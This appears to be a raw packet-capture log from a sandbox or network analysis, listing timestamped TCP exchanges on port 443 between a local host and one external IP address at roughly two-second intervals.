Dec 6, 2021 12:18:50.830796003 CET	443	49786	45.153.186.90	192.168.2.4
Dec 6, 2021 12:18:50.964478016 CET	443	49786	45.153.186.90	192.168.2.4
Dec 6, 2021 12:18:50.964632988 CET	49786	443	192.168.2.4	45.153.186.90
Dec 6, 2021 12:18:50.965420961 CET	49786	443	192.168.2.4	45.153.186.90
Dec 6, 2021 12:18:50.965441942 CET	443	49786	45.153.186.90	192.168.2.4
Dec 6, 2021 12:18:50.971014977 CET	49786	443	192.168.2.4	45.153.186.90
Dec 6, 2021 12:18:50.971045971 CET	443	49786	45.153.186.90	192.168.2.4
Dec 6, 2021 12:18:51.275665998 CET	443	49786	45.153.186.90	192.168.2.4
Dec 6, 2021 12:18:51.275739908 CET	443	49786	45.153.186.90	192.168.2.4
Dec 6, 2021 12:18:51.275891066 CET	49786	443	192.168.2.4	45.153.186.90
Dec 6, 2021 12:18:51.276176929 CET	49786	443	192.168.2.4	45.153.186.90
Dec 6, 2021 12:18:51.276246071 CET	49786	443	192.168.2.4	45.153.186.90
Dec 6, 2021 12:18:51.276273012 CET	443	49786	45.153.186.90	192.168.2.4
Dec 6, 2021 12:18:53.282069921 CET	49787	443	192.168.2.4	45.153.186.90
Dec 6, 2021 12:18:53.282124043 CET	443	49787	45.153.186.90	192.168.2.4
Dec 6, 2021 12:18:53.282198906 CET	49787	443	192.168.2.4	45.153.186.90
Dec 6, 2021 12:18:53.282809973 CET	49787	443	192.168.2.4	45.153.186.90
Dec 6, 2021 12:18:53.282834053 CET	443	49787	45.153.186.90	192.168.2.4
Dec 6, 2021 12:18:53.465980053 CET	443	49787	45.153.186.90	192.168.2.4
Dec 6, 2021 12:18:53.466164112 CET	49787	443	192.168.2.4	45.153.186.90
Dec 6, 2021 12:18:53.467030048 CET	49787	443	192.168.2.4	45.153.186.90
Dec 6, 2021 12:18:53.467042923 CET	443	49787	45.153.186.90	192.168.2.4
Dec 6, 2021 12:18:53.476807117 CET	49787	443	192.168.2.4	45.153.186.90
Dec 6, 2021 12:18:53.476831913 CET	443	49787	45.153.186.90	192.168.2.4
Dec 6, 2021 12:18:53.973543882 CET	443	49787	45.153.186.90	192.168.2.4
Dec 6, 2021 12:18:53.973675013 CET	443	49787	45.153.186.90	192.168.2.4
Dec 6, 2021 12:18:53.973715067 CET	49787	443	192.168.2.4	45.153.186.90
Dec 6, 2021 12:18:53.973742008 CET	49787	443	192.168.2.4	45.153.186.90
Dec 6, 2021 12:18:53.974001884 CET	49787	443	192.168.2.4	45.153.186.90
Dec 6, 2021 12:18:53.974031925 CET	443	49787	45.153.186.90	192.168.2.4
Dec 6, 2021 12:18:55.987662077 CET	49789	443	192.168.2.4	45.153.186.90
Dec 6, 2021 12:18:55.987752914 CET	443	49789	45.153.186.90	192.168.2.4
Dec 6, 2021 12:18:55.987967014 CET	49789	443	192.168.2.4	45.153.186.90
Dec 6, 2021 12:18:55.989335060 CET	49789	443	192.168.2.4	45.153.186.90
Dec 6, 2021 12:18:55.989366055 CET	443	49789	45.153.186.90	192.168.2.4
Dec 6, 2021 12:18:56.099941015 CET	443	49789	45.153.186.90	192.168.2.4
Dec 6, 2021 12:18:56.100033998 CET	49789	443	192.168.2.4	45.153.186.90
Dec 6, 2021 12:18:56.100717068 CET	49789	443	192.168.2.4	45.153.186.90
Dec 6, 2021 12:18:56.100761890 CET	443	49789	45.153.186.90	192.168.2.4
Dec 6, 2021 12:18:56.202377081 CET	49789	443	192.168.2.4	45.153.186.90
Dec 6, 2021 12:18:56.202404976 CET	443	49789	45.153.186.90	192.168.2.4
Dec 6, 2021 12:18:56.397245884 CET	443	49789	45.153.186.90	192.168.2.4
Dec 6, 2021 12:18:56.397325039 CET	443	49789	45.153.186.90	192.168.2.4
Dec 6, 2021 12:18:56.397381067 CET	49789	443	192.168.2.4	45.153.186.90
Dec 6, 2021 12:18:56.397407055 CET	49789	443	192.168.2.4	45.153.186.90
Dec 6, 2021 12:18:56.397804022 CET	49789	443	192.168.2.4	45.153.186.90
Dec 6, 2021 12:18:56.397829056 CET	443	49789	45.153.186.90	192.168.2.4
Dec 6, 2021 12:18:58.407681942 CET	49790	443	192.168.2.4	45.153.186.90
Dec 6, 2021 12:18:58.407726049 CET	443	49790	45.153.186.90	192.168.2.4
Dec 6, 2021 12:18:58.407794952 CET	49790	443	192.168.2.4	45.153.186.90
Dec 6, 2021 12:18:58.408334017 CET	49790	443	192.168.2.4	45.153.186.90
Dec 6, 2021 12:18:58.408351898 CET	443	49790	45.153.186.90	192.168.2.4
Dec 6, 2021 12:18:58.692604065 CET	443	49790	45.153.186.90	192.168.2.4
Dec 6, 2021 12:18:58.695936918 CET	49790	443	192.168.2.4	45.153.186.90
Dec 6, 2021 12:18:58.696448088 CET	49790	443	192.168.2.4	45.153.186.90
Dec 6, 2021 12:18:58.696464062 CET	443	49790	45.153.186.90	192.168.2.4
Dec 6, 2021 12:18:58.704230070 CET	49790	443	192.168.2.4	45.153.186.90
Dec 6, 2021 12:18:58.704260111 CET	443	49790	45.153.186.90	192.168.2.4
Dec 6, 2021 12:18:59.010921001 CET	443	49790	45.153.186.90	192.168.2.4
Dec 6, 2021 12:18:59.011025906 CET	443	49790	45.153.186.90	192.168.2.4
Dec 6, 2021 12:18:59.011091948 CET	49790	443	192.168.2.4	45.153.186.90
Dec 6, 2021 12:18:59.011151075 CET	49790	443	192.168.2.4	45.153.186.90
Dec 6, 2021 12:18:59.011445999 CET	49790	443	192.168.2.4	45.153.186.90
Dec 6, 2021 12:18:59.011466026 CET	443	49790	45.153.186.90	192.168.2.4
Dec 6, 2021 12:19:01.071487904 CET	49791	443	192.168.2.4	45.153.186.90
Dec 6, 2021 12:19:01.071553946 CET	443	49791	45.153.186.90	192.168.2.4
Dec 6, 2021 12:19:01.071655035 CET	49791	443	192.168.2.4	45.153.186.90
Dec 6, 2021 12:19:01.072335005 CET	49791	443	192.168.2.4	45.153.186.90
Dec 6, 2021 12:19:01.072365046 CET	443	49791	45.153.186.90	192.168.2.4
Dec 6, 2021 12:19:01.182791948 CET	443	49791	45.153.186.90	192.168.2.4
Dec 6, 2021 12:19:01.184171915 CET	49791	443	192.168.2.4	45.153.186.90
Dec 6, 2021 12:19:01.237004995 CET	49791	443	192.168.2.4	45.153.186.90
Dec 6, 2021 12:19:01.237031937 CET	443	49791	45.153.186.90	192.168.2.4
Dec 6, 2021 12:19:01.240524054 CET	49791	443	192.168.2.4	45.153.186.90
Dec 6, 2021 12:19:01.240551949 CET	443	49791	45.153.186.90	192.168.2.4
Dec 6, 2021 12:19:01.725384951 CET	443	49791	45.153.186.90	192.168.2.4
Dec 6, 2021 12:19:01.725470066 CET	443	49791	45.153.186.90	192.168.2.4
Dec 6, 2021 12:19:01.725498915 CET	49791	443	192.168.2.4	45.153.186.90
Dec 6, 2021 12:19:01.725517988 CET	49791	443	192.168.2.4	45.153.186.90
Dec 6, 2021 12:19:01.725943089 CET	49791	443	192.168.2.4	45.153.186.90
Dec 6, 2021 12:19:01.725970984 CET	443	49791	45.153.186.90	192.168.2.4
Dec 6, 2021 12:19:04.043354034 CET	49792	443	192.168.2.4	45.153.186.90
Dec 6, 2021 12:19:04.043409109 CET	443	49792	45.153.186.90	192.168.2.4
Dec 6, 2021 12:19:04.043504953 CET	49792	443	192.168.2.4	45.153.186.90
Dec 6, 2021 12:19:04.048051119 CET	49792	443	192.168.2.4	45.153.186.90
Dec 6, 2021 12:19:04.048105001 CET	443	49792	45.153.186.90	192.168.2.4
Dec 6, 2021 12:19:04.161225080 CET	443	49792	45.153.186.90	192.168.2.4
Dec 6, 2021 12:19:04.161427021 CET	49792	443	192.168.2.4	45.153.186.90
Dec 6, 2021 12:19:04.165411949 CET	49792	443	192.168.2.4	45.153.186.90
Dec 6, 2021 12:19:04.165440083 CET	443	49792	45.153.186.90	192.168.2.4
Dec 6, 2021 12:19:04.190574884 CET	49792	443	192.168.2.4	45.153.186.90
Dec 6, 2021 12:19:04.190613031 CET	443	49792	45.153.186.90	192.168.2.4
Dec 6, 2021 12:19:04.474555969 CET	443	49792	45.153.186.90	192.168.2.4
Dec 6, 2021 12:19:04.474678993 CET	49792	443	192.168.2.4	45.153.186.90
Dec 6, 2021 12:19:04.474716902 CET	443	49792	45.153.186.90	192.168.2.4
Dec 6, 2021 12:19:04.474746943 CET	443	49792	45.153.186.90	192.168.2.4
Dec 6, 2021 12:19:04.474802017 CET	49792	443	192.168.2.4	45.153.186.90
Dec 6, 2021 12:19:04.474843979 CET	49792	443	192.168.2.4	45.153.186.90
Dec 6, 2021 12:19:04.475009918 CET	49792	443	192.168.2.4	45.153.186.90
Dec 6, 2021 12:19:04.475044012 CET	443	49792	45.153.186.90	192.168.2.4
Dec 6, 2021 12:19:06.486743927 CET	49793	443	192.168.2.4	45.153.186.90
Dec 6, 2021 12:19:06.486819029 CET	443	49793	45.153.186.90	192.168.2.4
Dec 6, 2021 12:19:06.486938000 CET	49793	443	192.168.2.4	45.153.186.90
Dec 6, 2021 12:19:06.487826109 CET	49793	443	192.168.2.4	45.153.186.90
Dec 6, 2021 12:19:06.487863064 CET	443	49793	45.153.186.90	192.168.2.4
Dec 6, 2021 12:19:06.651619911 CET	443	49793	45.153.186.90	192.168.2.4
Dec 6, 2021 12:19:06.651796103 CET	49793	443	192.168.2.4	45.153.186.90
Dec 6, 2021 12:19:06.652374983 CET	49793	443	192.168.2.4	45.153.186.90
Dec 6, 2021 12:19:06.652395964 CET	443	49793	45.153.186.90	192.168.2.4
Dec 6, 2021 12:19:06.656936884 CET	49793	443	192.168.2.4	45.153.186.90
Dec 6, 2021 12:19:06.656971931 CET	443	49793	45.153.186.90	192.168.2.4
Dec 6, 2021 12:19:06.946980000 CET	443	49793	45.153.186.90	192.168.2.4
Dec 6, 2021 12:19:06.947078943 CET	443	49793	45.153.186.90	192.168.2.4
Dec 6, 2021 12:19:06.947166920 CET	49793	443	192.168.2.4	45.153.186.90
Dec 6, 2021 12:19:06.947452068 CET	49793	443	192.168.2.4	45.153.186.90
Dec 6, 2021 12:19:06.947474003 CET	49793	443	192.168.2.4	45.153.186.90
Dec 6, 2021 12:19:06.947491884 CET	443	49793	45.153.186.90	192.168.2.4
Dec 6, 2021 12:19:08.959302902 CET	49794	443	192.168.2.4	45.153.186.90
Dec 6, 2021 12:19:08.959341049 CET	443	49794	45.153.186.90	192.168.2.4
Dec 6, 2021 12:19:08.959420919 CET	49794	443	192.168.2.4	45.153.186.90
Dec 6, 2021 12:19:08.959978104 CET	49794	443	192.168.2.4	45.153.186.90
Dec 6, 2021 12:19:08.959999084 CET	443	49794	45.153.186.90	192.168.2.4
Dec 6, 2021 12:19:09.110869884 CET	443	49794	45.153.186.90	192.168.2.4
Dec 6, 2021 12:19:09.111732006 CET	49794	443	192.168.2.4	45.153.186.90
Dec 6, 2021 12:19:09.127954960 CET	49794	443	192.168.2.4	45.153.186.90
Dec 6, 2021 12:19:09.127978086 CET	443	49794	45.153.186.90	192.168.2.4
Dec 6, 2021 12:19:09.134212017 CET	49794	443	192.168.2.4	45.153.186.90
Dec 6, 2021 12:19:09.134234905 CET	443	49794	45.153.186.90	192.168.2.4
Dec 6, 2021 12:19:09.746716022 CET	443	49794	45.153.186.90	192.168.2.4
Dec 6, 2021 12:19:09.746810913 CET	443	49794	45.153.186.90	192.168.2.4
Dec 6, 2021 12:19:09.746880054 CET	49794	443	192.168.2.4	45.153.186.90
Dec 6, 2021 12:19:09.746896982 CET	49794	443	192.168.2.4	45.153.186.90
Dec 6, 2021 12:19:09.747373104 CET	49794	443	192.168.2.4	45.153.186.90
Dec 6, 2021 12:19:09.747396946 CET	443	49794	45.153.186.90	192.168.2.4
Dec 6, 2021 12:19:11.752708912 CET	49803	443	192.168.2.4	45.153.186.90
Dec 6, 2021 12:19:11.752748013 CET	443	49803	45.153.186.90	192.168.2.4
Dec 6, 2021 12:19:11.752880096 CET	49803	443	192.168.2.4	45.153.186.90
Dec 6, 2021 12:19:11.753478050 CET	49803	443	192.168.2.4	45.153.186.90
Dec 6, 2021 12:19:11.753504038 CET	443	49803	45.153.186.90	192.168.2.4
Dec 6, 2021 12:19:11.855999947 CET	443	49803	45.153.186.90	192.168.2.4
Dec 6, 2021 12:19:11.856103897 CET	49803	443	192.168.2.4	45.153.186.90
Dec 6, 2021 12:19:11.856699944 CET	49803	443	192.168.2.4	45.153.186.90
Dec 6, 2021 12:19:11.856715918 CET	443	49803	45.153.186.90	192.168.2.4
Dec 6, 2021 12:19:11.860299110 CET	49803	443	192.168.2.4	45.153.186.90
Dec 6, 2021 12:19:11.860323906 CET	443	49803	45.153.186.90	192.168.2.4
Dec 6, 2021 12:19:12.061393023 CET	443	49803	45.153.186.90	192.168.2.4
Dec 6, 2021 12:19:12.061475992 CET	443	49803	45.153.186.90	192.168.2.4
Dec 6, 2021 12:19:12.061476946 CET	49803	443	192.168.2.4	45.153.186.90
Dec 6, 2021 12:19:12.061525106 CET	49803	443	192.168.2.4	45.153.186.90
Dec 6, 2021 12:19:12.062195063 CET	49803	443	192.168.2.4	45.153.186.90
Dec 6, 2021 12:19:12.062217951 CET	443	49803	45.153.186.90	192.168.2.4
Dec 6, 2021 12:19:14.083709955 CET	49817	443	192.168.2.4	45.153.186.90
Dec 6, 2021 12:19:14.083767891 CET	443	49817	45.153.186.90	192.168.2.4
Dec 6, 2021 12:19:14.085028887 CET	49817	443	192.168.2.4	45.153.186.90
Dec 6, 2021 12:19:14.097161055 CET	49817	443	192.168.2.4	45.153.186.90
Dec 6, 2021 12:19:14.097197056 CET	443	49817	45.153.186.90	192.168.2.4
Dec 6, 2021 12:19:14.400003910 CET	443	49817	45.153.186.90	192.168.2.4
Dec 6, 2021 12:19:14.400430918 CET	49817	443	192.168.2.4	45.153.186.90
Dec 6, 2021 12:19:14.400930882 CET	49817	443	192.168.2.4	45.153.186.90
Dec 6, 2021 12:19:14.400949955 CET	443	49817	45.153.186.90	192.168.2.4
Dec 6, 2021 12:19:14.404778957 CET	49817	443	192.168.2.4	45.153.186.90
Dec 6, 2021 12:19:14.404813051 CET	443	49817	45.153.186.90	192.168.2.4
Dec 6, 2021 12:19:14.784050941 CET	443	49817	45.153.186.90	192.168.2.4
Dec 6, 2021 12:19:14.784152985 CET	49817	443	192.168.2.4	45.153.186.90
Dec 6, 2021 12:19:14.784174919 CET	443	49817	45.153.186.90	192.168.2.4
Dec 6, 2021 12:19:14.784244061 CET	443	49817	45.153.186.90	192.168.2.4
Dec 6, 2021 12:19:14.784322023 CET	49817	443	192.168.2.4	45.153.186.90
Dec 6, 2021 12:19:14.784513950 CET	49817	443	192.168.2.4	45.153.186.90
Dec 6, 2021 12:19:14.784533024 CET	443	49817	45.153.186.90	192.168.2.4
Dec 6, 2021 12:19:16.800404072 CET	49831	443	192.168.2.4	45.153.186.90
Dec 6, 2021 12:19:16.800467014 CET	443	49831	45.153.186.90	192.168.2.4
Dec 6, 2021 12:19:16.800560951 CET	49831	443	192.168.2.4	45.153.186.90
Dec 6, 2021 12:19:16.801121950 CET	49831	443	192.168.2.4	45.153.186.90
Dec 6, 2021 12:19:16.801140070 CET	443	49831	45.153.186.90	192.168.2.4
Dec 6, 2021 12:19:16.894707918 CET	443	49831	45.153.186.90	192.168.2.4
Dec 6, 2021 12:19:16.894851923 CET	49831	443	192.168.2.4	45.153.186.90
Dec 6, 2021 12:19:16.895668983 CET	49831	443	192.168.2.4	45.153.186.90
Dec 6, 2021 12:19:16.895687103 CET	443	49831	45.153.186.90	192.168.2.4
Dec 6, 2021 12:19:16.901159048 CET	49831	443	192.168.2.4	45.153.186.90
Dec 6, 2021 12:19:16.901185036 CET	443	49831	45.153.186.90	192.168.2.4
Dec 6, 2021 12:19:17.223426104 CET	443	49831	45.153.186.90	192.168.2.4
Dec 6, 2021 12:19:17.223495007 CET	49831	443	192.168.2.4	45.153.186.90
Dec 6, 2021 12:19:17.223510981 CET	443	49831	45.153.186.90	192.168.2.4
Dec 6, 2021 12:19:17.223529100 CET	443	49831	45.153.186.90	192.168.2.4
Dec 6, 2021 12:19:17.223556995 CET	49831	443	192.168.2.4	45.153.186.90
Dec 6, 2021 12:19:17.223579884 CET	49831	443	192.168.2.4	45.153.186.90
Dec 6, 2021 12:19:17.223993063 CET	49831	443	192.168.2.4	45.153.186.90
Dec 6, 2021 12:19:17.224010944 CET	443	49831	45.153.186.90	192.168.2.4
Dec 6, 2021 12:19:19.248214006 CET	49832	443	192.168.2.4	45.153.186.90
Dec 6, 2021 12:19:19.248259068 CET	443	49832	45.153.186.90	192.168.2.4
Dec 6, 2021 12:19:19.248380899 CET	49832	443	192.168.2.4	45.153.186.90
Dec 6, 2021 12:19:19.249075890 CET	49832	443	192.168.2.4	45.153.186.90
Dec 6, 2021 12:19:19.249088049 CET	443	49832	45.153.186.90	192.168.2.4
Dec 6, 2021 12:19:19.482321978 CET	443	49832	45.153.186.90	192.168.2.4
Dec 6, 2021 12:19:19.482496977 CET	49832	443	192.168.2.4	45.153.186.90
Dec 6, 2021 12:19:19.483408928 CET	49832	443	192.168.2.4	45.153.186.90
Dec 6, 2021 12:19:19.483419895 CET	443	49832	45.153.186.90	192.168.2.4
Dec 6, 2021 12:19:19.491097927 CET	49832	443	192.168.2.4	45.153.186.90
Dec 6, 2021 12:19:19.491110086 CET	443	49832	45.153.186.90	192.168.2.4
Dec 6, 2021 12:19:19.712029934 CET	443	49832	45.153.186.90	192.168.2.4
Dec 6, 2021 12:19:19.712127924 CET	443	49832	45.153.186.90	192.168.2.4
Dec 6, 2021 12:19:19.712157965 CET	49832	443	192.168.2.4	45.153.186.90
Dec 6, 2021 12:19:19.712188005 CET	49832	443	192.168.2.4	45.153.186.90
Dec 6, 2021 12:19:19.714893103 CET	49832	443	192.168.2.4	45.153.186.90
Dec 6, 2021 12:19:19.714920998 CET	443	49832	45.153.186.90	192.168.2.4
Dec 6, 2021 12:19:21.722920895 CET	49833	443	192.168.2.4	45.153.186.90
Dec 6, 2021 12:19:21.722979069 CET	443	49833	45.153.186.90	192.168.2.4
Dec 6, 2021 12:19:21.723087072 CET	49833	443	192.168.2.4	45.153.186.90
Dec 6, 2021 12:19:21.723865986 CET	49833	443	192.168.2.4	45.153.186.90
Dec 6, 2021 12:19:21.723891020 CET	443	49833	45.153.186.90	192.168.2.4
Dec 6, 2021 12:19:21.870565891 CET	443	49833	45.153.186.90	192.168.2.4
Dec 6, 2021 12:19:21.870872021 CET	49833	443	192.168.2.4	45.153.186.90
Dec 6, 2021 12:19:21.871438980 CET	49833	443	192.168.2.4	45.153.186.90
Dec 6, 2021 12:19:21.871454000 CET	443	49833	45.153.186.90	192.168.2.4
Dec 6, 2021 12:19:21.875793934 CET	49833	443	192.168.2.4	45.153.186.90
Dec 6, 2021 12:19:21.875806093 CET	443	49833	45.153.186.90	192.168.2.4
Dec 6, 2021 12:19:22.389769077 CET	443	49833	45.153.186.90	192.168.2.4
Dec 6, 2021 12:19:22.389866114 CET	443	49833	45.153.186.90	192.168.2.4
Dec 6, 2021 12:19:22.390001059 CET	49833	443	192.168.2.4	45.153.186.90
Dec 6, 2021 12:19:22.390609026 CET	49833	443	192.168.2.4	45.153.186.90
Dec 6, 2021 12:19:22.390635967 CET	443	49833	45.153.186.90	192.168.2.4
Dec 6, 2021 12:19:24.411217928 CET	49839	443	192.168.2.4	45.153.186.90
Dec 6, 2021 12:19:24.411278009 CET	443	49839	45.153.186.90	192.168.2.4
Dec 6, 2021 12:19:24.411458015 CET	49839	443	192.168.2.4	45.153.186.90
Dec 6, 2021 12:19:24.412404060 CET	49839	443	192.168.2.4	45.153.186.90
Dec 6, 2021 12:19:24.412434101 CET	443	49839	45.153.186.90	192.168.2.4
Dec 6, 2021 12:19:24.509799004 CET	443	49839	45.153.186.90	192.168.2.4
Dec 6, 2021 12:19:24.509891987 CET	49839	443	192.168.2.4	45.153.186.90
Dec 6, 2021 12:19:24.510579109 CET	49839	443	192.168.2.4	45.153.186.90
Dec 6, 2021 12:19:24.510597944 CET	443	49839	45.153.186.90	192.168.2.4
Dec 6, 2021 12:19:24.514885902 CET	49839	443	192.168.2.4	45.153.186.90
Dec 6, 2021 12:19:24.514909983 CET	443	49839	45.153.186.90	192.168.2.4
Dec 6, 2021 12:19:24.828944921 CET	443	49839	45.153.186.90	192.168.2.4
Dec 6, 2021 12:19:24.829078913 CET	443	49839	45.153.186.90	192.168.2.4
Dec 6, 2021 12:19:24.829191923 CET	49839	443	192.168.2.4	45.153.186.90
Dec 6, 2021 12:19:24.829901934 CET	49839	443	192.168.2.4	45.153.186.90
Dec 6, 2021 12:19:24.829921961 CET	443	49839	45.153.186.90	192.168.2.4
Dec 6, 2021 12:19:26.849288940 CET	49840	443	192.168.2.4	45.153.186.90
Dec 6, 2021 12:19:26.849334955 CET	443	49840	45.153.186.90	192.168.2.4
Dec 6, 2021 12:19:26.849436045 CET	49840	443	192.168.2.4	45.153.186.90
Dec 6, 2021 12:19:26.850261927 CET	49840	443	192.168.2.4	45.153.186.90
Dec 6, 2021 12:19:26.850274086 CET	443	49840	45.153.186.90	192.168.2.4
Dec 6, 2021 12:19:26.973201990 CET	443	49840	45.153.186.90	192.168.2.4
Dec 6, 2021 12:19:26.973270893 CET	49840	443	192.168.2.4	45.153.186.90
Dec 6, 2021 12:19:26.973828077 CET	49840	443	192.168.2.4	45.153.186.90
Dec 6, 2021 12:19:26.973838091 CET	443	49840	45.153.186.90	192.168.2.4
Dec 6, 2021 12:19:26.977708101 CET	49840	443	192.168.2.4	45.153.186.90
Dec 6, 2021 12:19:26.977720022 CET	443	49840	45.153.186.90	192.168.2.4
Dec 6, 2021 12:19:27.193325996 CET	443	49840	45.153.186.90	192.168.2.4
Dec 6, 2021 12:19:27.193412066 CET	443	49840	45.153.186.90	192.168.2.4
Dec 6, 2021 12:19:27.193430901 CET	49840	443	192.168.2.4	45.153.186.90
Dec 6, 2021 12:19:27.193466902 CET	49840	443	192.168.2.4	45.153.186.90
Dec 6, 2021 12:19:27.193773985 CET	49840	443	192.168.2.4	45.153.186.90
Dec 6, 2021 12:19:27.193789959 CET	443	49840	45.153.186.90	192.168.2.4
Dec 6, 2021 12:19:29.213269949 CET	49841	443	192.168.2.4	45.153.186.90
Dec 6, 2021 12:19:29.213326931 CET	443	49841	45.153.186.90	192.168.2.4
Dec 6, 2021 12:19:29.213443041 CET	49841	443	192.168.2.4	45.153.186.90
Dec 6, 2021 12:19:29.214147091 CET	49841	443	192.168.2.4	45.153.186.90
Dec 6, 2021 12:19:29.214163065 CET	443	49841	45.153.186.90	192.168.2.4
Dec 6, 2021 12:19:29.340461016 CET	443	49841	45.153.186.90	192.168.2.4
Dec 6, 2021 12:19:29.340651035 CET	49841	443	192.168.2.4	45.153.186.90
Dec 6, 2021 12:19:29.341438055 CET	49841	443	192.168.2.4	45.153.186.90
Dec 6, 2021 12:19:29.341454983 CET	443	49841	45.153.186.90	192.168.2.4
Dec 6, 2021 12:19:29.348002911 CET	49841	443	192.168.2.4	45.153.186.90
Dec 6, 2021 12:19:29.348033905 CET	443	49841	45.153.186.90	192.168.2.4
Dec 6, 2021 12:19:29.867223024 CET	443	49841	45.153.186.90	192.168.2.4
Dec 6, 2021 12:19:29.867300034 CET	443	49841	45.153.186.90	192.168.2.4
Dec 6, 2021 12:19:29.867383003 CET	49841	443	192.168.2.4	45.153.186.90
Dec 6, 2021 12:19:29.867407084 CET	49841	443	192.168.2.4	45.153.186.90
Dec 6, 2021 12:19:29.867674112 CET	49841	443	192.168.2.4	45.153.186.90
Dec 6, 2021 12:19:29.867697954 CET	443	49841	45.153.186.90	192.168.2.4
Dec 6, 2021 12:19:31.879724979 CET	49843	443	192.168.2.4	45.153.186.90
Dec 6, 2021 12:19:31.879857063 CET	443	49843	45.153.186.90	192.168.2.4
Dec 6, 2021 12:19:31.880000114 CET	49843	443	192.168.2.4	45.153.186.90
Dec 6, 2021 12:19:31.880527020 CET	49843	443	192.168.2.4	45.153.186.90
Dec 6, 2021 12:19:31.880556107 CET	443	49843	45.153.186.90	192.168.2.4
Dec 6, 2021 12:19:31.979188919 CET	443	49843	45.153.186.90	192.168.2.4
Dec 6, 2021 12:19:31.979435921 CET	49843	443	192.168.2.4	45.153.186.90
Dec 6, 2021 12:19:31.980345964 CET	49843	443	192.168.2.4	45.153.186.90
Dec 6, 2021 12:19:31.980367899 CET	443	49843	45.153.186.90	192.168.2.4
Dec 6, 2021 12:19:31.990346909 CET	49843	443	192.168.2.4	45.153.186.90
Dec 6, 2021 12:19:31.990408897 CET	443	49843	45.153.186.90	192.168.2.4
Dec 6, 2021 12:19:32.195466995 CET	443	49843	45.153.186.90	192.168.2.4
Dec 6, 2021 12:19:32.195595026 CET	443	49843	45.153.186.90	192.168.2.4
Dec 6, 2021 12:19:32.195677996 CET	49843	443	192.168.2.4	45.153.186.90
Dec 6, 2021 12:19:32.196408987 CET	49843	443	192.168.2.4	45.153.186.90
Dec 6, 2021 12:19:32.196434021 CET	443	49843	45.153.186.90	192.168.2.4
Dec 6, 2021 12:19:34.210329056 CET	49844	443	192.168.2.4	45.153.186.90
Dec 6, 2021 12:19:34.210390091 CET	443	49844	45.153.186.90	192.168.2.4
Dec 6, 2021 12:19:34.210467100 CET	49844	443	192.168.2.4	45.153.186.90
Dec 6, 2021 12:19:34.211132050 CET	49844	443	192.168.2.4	45.153.186.90
Dec 6, 2021 12:19:34.211152077 CET	443	49844	45.153.186.90	192.168.2.4
Dec 6, 2021 12:19:34.532530069 CET	443	49844	45.153.186.90	192.168.2.4
Dec 6, 2021 12:19:34.532665968 CET	49844	443	192.168.2.4	45.153.186.90
Dec 6, 2021 12:19:34.533818007 CET	49844	443	192.168.2.4	45.153.186.90
Dec 6, 2021 12:19:34.533833027 CET	443	49844	45.153.186.90	192.168.2.4
Dec 6, 2021 12:19:34.538793087 CET	49844	443	192.168.2.4	45.153.186.90
Dec 6, 2021 12:19:34.538814068 CET	443	49844	45.153.186.90	192.168.2.4
Dec 6, 2021 12:19:34.851747990 CET	443	49844	45.153.186.90	192.168.2.4
Dec 6, 2021 12:19:34.851820946 CET	443	49844	45.153.186.90	192.168.2.4
Dec 6, 2021 12:19:34.852022886 CET	49844	443	192.168.2.4	45.153.186.90
Dec 6, 2021 12:19:34.852595091 CET	49844	443	192.168.2.4	45.153.186.90
Dec 6, 2021 12:19:34.852627039 CET	443	49844	45.153.186.90	192.168.2.4
Dec 6, 2021 12:19:36.865901947 CET	49850	443	192.168.2.4	45.153.186.90
Dec 6, 2021 12:19:36.865945101 CET	443	49850	45.153.186.90	192.168.2.4
Dec 6, 2021 12:19:36.866086006 CET	49850	443	192.168.2.4	45.153.186.90
Dec 6, 2021 12:19:36.866586924 CET	49850	443	192.168.2.4	45.153.186.90
Dec 6, 2021 12:19:36.866609097 CET	443	49850	45.153.186.90	192.168.2.4
Dec 6, 2021 12:19:37.116503954 CET	443	49850	45.153.186.90	192.168.2.4
Dec 6, 2021 12:19:37.116605043 CET	49850	443	192.168.2.4	45.153.186.90
Dec 6, 2021 12:19:37.117069006 CET	49850	443	192.168.2.4	45.153.186.90
Dec 6, 2021 12:19:37.117078066 CET	443	49850	45.153.186.90	192.168.2.4
Dec 6, 2021 12:19:37.120439053 CET	49850	443	192.168.2.4	45.153.186.90
Dec 6, 2021 12:19:37.120445967 CET	443	49850	45.153.186.90	192.168.2.4
Dec 6, 2021 12:19:37.744132042 CET	443	49850	45.153.186.90	192.168.2.4
Dec 6, 2021 12:19:37.744215012 CET	443	49850	45.153.186.90	192.168.2.4
Dec 6, 2021 12:19:37.744337082 CET	49850	443	192.168.2.4	45.153.186.90
Dec 6, 2021 12:19:37.856020927 CET	49850	443	192.168.2.4	45.153.186.90
Dec 6, 2021 12:19:37.856065989 CET	443	49850	45.153.186.90	192.168.2.4
Dec 6, 2021 12:19:39.865240097 CET	49863	443	192.168.2.4	45.153.186.90
Dec 6, 2021 12:19:39.865298033 CET	443	49863	45.153.186.90	192.168.2.4
Dec 6, 2021 12:19:39.865529060 CET	49863	443	192.168.2.4	45.153.186.90
Dec 6, 2021 12:19:39.866187096 CET	49863	443	192.168.2.4	45.153.186.90
Dec 6, 2021 12:19:39.866210938 CET	443	49863	45.153.186.90	192.168.2.4
Dec 6, 2021 12:19:39.957541943 CET	443	49863	45.153.186.90	192.168.2.4
Dec 6, 2021 12:19:39.958070993 CET	49863	443	192.168.2.4	45.153.186.90
Dec 6, 2021 12:19:39.959017992 CET	49863	443	192.168.2.4	45.153.186.90
Dec 6, 2021 12:19:39.959038973 CET	443	49863	45.153.186.90	192.168.2.4
Dec 6, 2021 12:19:39.966315985 CET	49863	443	192.168.2.4	45.153.186.90
Dec 6, 2021 12:19:39.966347933 CET	443	49863	45.153.186.90	192.168.2.4
Dec 6, 2021 12:19:40.221340895 CET	443	49863	45.153.186.90	192.168.2.4
Dec 6, 2021 12:19:40.221457958 CET	443	49863	45.153.186.90	192.168.2.4
Dec 6, 2021 12:19:40.221585989 CET	49863	443	192.168.2.4	45.153.186.90
Dec 6, 2021 12:19:40.221882105 CET	49863	443	192.168.2.4	45.153.186.90
Dec 6, 2021 12:19:40.221915960 CET	443	49863	45.153.186.90	192.168.2.4
Dec 6, 2021 12:19:42.334099054 CET	49869	443	192.168.2.4	45.153.186.90
Dec 6, 2021 12:19:42.334140062 CET	443	49869	45.153.186.90	192.168.2.4
Dec 6, 2021 12:19:42.334220886 CET	49869	443	192.168.2.4	45.153.186.90
Dec 6, 2021 12:19:42.335293055 CET	49869	443	192.168.2.4	45.153.186.90
Dec 6, 2021 12:19:42.335308075 CET	443	49869	45.153.186.90	192.168.2.4
